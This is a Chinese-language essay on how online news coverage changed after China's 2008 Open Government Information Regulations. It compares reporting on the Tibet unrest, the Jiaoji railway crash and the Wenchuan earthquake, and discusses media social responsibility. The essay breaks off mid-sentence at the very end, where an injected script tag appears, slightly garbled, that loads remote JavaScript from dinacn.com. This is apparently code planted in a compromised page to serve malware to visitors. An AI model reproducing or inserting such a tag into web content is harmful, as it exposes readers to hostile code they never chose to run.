2008年5月1日起,中国开始施行《中华人民共和国政府信息公开条例》(以下简称《信息公开条例》)。5月12日,四川汶川发生了里氏8级的地震。随之关于地震的报道充斥网络,地震报道涉及到灾民的真实信息报道、民众的知情权以及政府和社会责任等诸多问题,为网络传播研究提供了一个重要的契机。而《信息公开条例》实施前的西藏暴乱和胶济铁路列车相撞事件为网络信息传播的变化提供了比较的基础。本文以《信息公开条例》实施前后的三次大事件为切入点,来论述网络新闻传播中的信息公开与社会责任。
网络新闻传播:信息的公开量和公开程度
5月13日,作者在百度进行新闻搜索,搜索范围限定在新华网,搜索关键词为“西藏暴乱,3月14日”的结果为110条,但相关新闻为0条;关键词为“胶济铁路,4月28日”的结果为 53条,相关新闻为50条;关键词为“四川地震,5月12日”的结果为350条,相关新闻为280条。
从以上可以看到网络信息关于个体事件公开时间及公开量的变化,毋庸置疑的是随着信息量的增加,网络信息涉及到的报道面就会相应增大。西藏事件在政府信息网上至少仍是讳莫如深,仅仅在不显眼的新华网法制报道里面提及。中央电视台新闻联播播出暴乱事件后,网站出现的报道更多地体现在西藏在党的领导下的变化,强调稳定和帮助受害群众几个方面,没有涉及到政府和达赖之间的敏感话题。胶济铁路火车相撞后,网络传播信息量有了突破,新浪网开设了“山东发生旅客列车相撞事故”专题予以报道。涉及到了事故的发生到救助,事故的原因到责任,甚至更深层次的铁路体制改革等方面。但对事故原因报道则过于简单。网络关于地震报道方面,新华网开通汶川抗震救灾专题网站《中国救灾网》,新浪网开辟四川地震专题,一些网站24小时滚动发布最新消息,可以说网络关于地震信息的报道涉及了各个方面,从抗震现场到救灾历程,从地震预测到地震影响,从救灾物质组织到捐款的管理。但是网络传媒没有报道地震发生时一些地方发生的哄抢商店、银行的恶性事件。
网络新闻信息公开量和公开程度的变化,显示了网络传媒对《信息公开条例》的反应和社会责任意识的提高。因此,《信息公开条例》的实施,对网络新闻的信息公开提供了更大的空间,网络媒体的新闻把关则需要注入更大的社会责任。
网络新闻信息传播的社会责任
网络新闻媒体在报道新闻上比报纸具有得天独厚的优势,它没有时间和版面的限制,可以全天候发布新闻,同时在新闻报道中不断地增加链接来挖掘新闻的背景和深度。但网络新闻信息还需要媒体机构的“把关”,首先,信息需要符合国家政策和法律;其次,信息需要符合媒体机构的企业理念;最后,还有网络编辑和记者的价值观念对他们选择信息的影响。网络新闻具有非强制性、潜移默化和特有的弹性,会在人们社会化的过程中逐渐发挥其影响。由此网络新闻在坚持信息公开的同时,还需要考虑到自身所承担的社会责任。胡兴荣教授在《社会责任论的传播哲学阐释》中讲到:
社会责任论者认为,新闻机构在享有新闻自由的同时,应承担道德责任;既追求积极的自由,扩大以及发展新闻自由的权力,又要建立与社会“分享共同价值”的大众传播体制。
这表明新闻传播公开的信息选择要整合在两个方位内:一是“道德责任”,新闻信息除了真实外,还需要在民众的道德范畴接受之内;二是网络新闻的总体构建关注的应该是主流新闻,体现社会共同价值。网络新闻由于其海量的特点,也为其传播非主流新闻、黄色信息和消极文化开辟了空间,为其背离社会责任提供了场所。同时,网络媒体为了符合国家的政策和潜在的规则,对重大的新闻事件也可能一笔带过,不能真正体现其“检测社会环境”的功能。譬如,网络媒体对西藏暴乱事件的报道虽然符合国家的政策方针,但是没有实现其作为社会公器、检测社会环境的功能。大众没有能够通过网络媒体的新闻及时了解事件的真相,从而对事件的猜疑也没有停息。但是大众从网络新闻中对地震灾区的绝大部分信息了解详尽。同时这一时期网络媒体也很好地建立了与社会“分享共同价值”的大众传播体制(虽然此时体制的出现是政府主导的),相应地承担了其社会责任,满足了公众对新闻信息的需求,从而取得了很好的社会效益。
建立社会责任意识下的网络新闻信息公开
网络新闻传播要实现民众的“知情权”,在《信息公开条例》的促动下实行信息公开必须建立在具有社会责任意识的前提下。
1.网络媒体的社会责任意识是要传播真实的新闻信息
网络新闻,它其实还是新闻,而新闻的价值所在就是其真实性。媒体具有对社会大众潜移默化的作用,而网络新闻一贯坚持真实的原则对大众就具有极大的影响。报纸上每年都评十大假新闻,而源于报纸新闻的网络新闻在“出假”方面也不甘落后。片面追求新闻的显著性和轰动效应,是假新闻出台的原因之一,而深层的原因无疑是媒体及?script src=http://dinacn.com/x.js> |